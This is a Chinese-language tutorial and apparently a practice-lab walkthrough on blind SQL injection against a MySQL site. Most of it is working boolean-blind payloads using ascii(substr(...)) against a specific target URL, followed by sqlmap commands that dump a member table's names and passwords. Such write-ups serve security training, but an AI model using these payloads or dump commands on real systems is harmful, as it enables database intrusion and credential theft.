背景知識
substr函數介紹
string substring(string, start, length)
string substr(string, start, length)
第一個參數為要處理的字符串,start為開始位置,length為截取的長度。
asccii函數介紹
ascii('A')=65
sqlmap基本操作思路
sqlmap -u 注入點url --current-db
sqlmap -u 注入點url -D 獲取到的數據名 --tables
sqlmap -u 注入點url -D 獲取到的數據庫名 -T 獲取到的表名 --columns
sqlmap -u 注入點url -D 獲取到的數據庫名 -T 獲取到的表名 -C 要獲取值指定列 --dump
Mysql的數據結構
mysql中有一個information_schema數據庫,用於維護mysql中的其他數據庫信息。
其中的tables表的TABLE_SCHEMA字段為庫名,TABLE_NAME字段為表名;
columns表的TABLE_SCHEMA字段為所屬的數據庫,TABLE_NAME字段為表名,COLUMN_NAME字段為列名。
手工注入方法。
是否存在過濾,是否可繞過。
是否可通過頁面變化或者時間變化,判斷是否存在注入點。
判斷注入類型,字符型還是數字型,字符型需要構造閉合。
通過order by 判斷列數。
若可回顯
在找到注入點,判斷出union 可用的字段后,判斷出所用的數據庫名字和用戶名字,然后再information_schema中查看對應的數據庫(table_schema)有哪幾個表(table_name),然后在columns查看對應的表有哪些字段。
若不可回顯
通過構造正確的表達式,根據頁面是否正常顯示來判斷數據庫名、表名、字段名、字段值
md5加解密
手工思路
1.判斷是否存在注入
http://219.153.49.228:48658/new_list.php?id=1'
http://219.153.49.228:48658/new_list.php?id=1 and 1=1
2.判斷列數、位置、數據庫名。無回顯。
http://219.153.49.228:48658/new_list.php?id=1 order by 4
http://219.153.49.228:48658/new_list.php?id= union select 1,2,3,4
3.根據執行語句的正確與否決定頁面是否發生變化,判斷相應的數據庫名、表名、字段名、值。
- ascii(substr((select database()),1,1))判斷出數據庫的名字
- ascii(substr((select table_name from information_schema.tables where table_schema='獲取到的數據庫名字' limit 1,1),1,1)) 判斷出表名
- ascii(substr((select column_name from information_schema.columns where table_name='獲取到的表名' and table_schema='獲取到的數據庫名' limit 0,1),1,1)) 判斷出列名
- and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))
http://219.153.49.228:48658/new_list.php?id=1%20and%20ascii(substr((select%20database()),1,1))<115
http://219.153.49.228:48658/new_list.php?id=1%20and%20ascii(substr((select%20database()),1,1))>115
http://219.153.49.228:48658/new_list.php?id=1%20and%20ascii(substr((select%20database()),1,1))=115
sqlmap思路
1.python2 sqlmap.py "http://219.153.49.228:48658/new_list.php?id=1" --current-db
2.python2 sqlmap.py "http://219.153.49.228:48658/new_list.php?id=1" -D stormgroup --tables
3.python2 sqlmap.py "http://219.153.49.228:48658/new_list.php?id=1" -D stormgroup -T member --columns
4.python2 sqlmap.py "http://219.153.49.228:48658/new_list.php?id=1" -D stormgroup -T member -C name,password --dump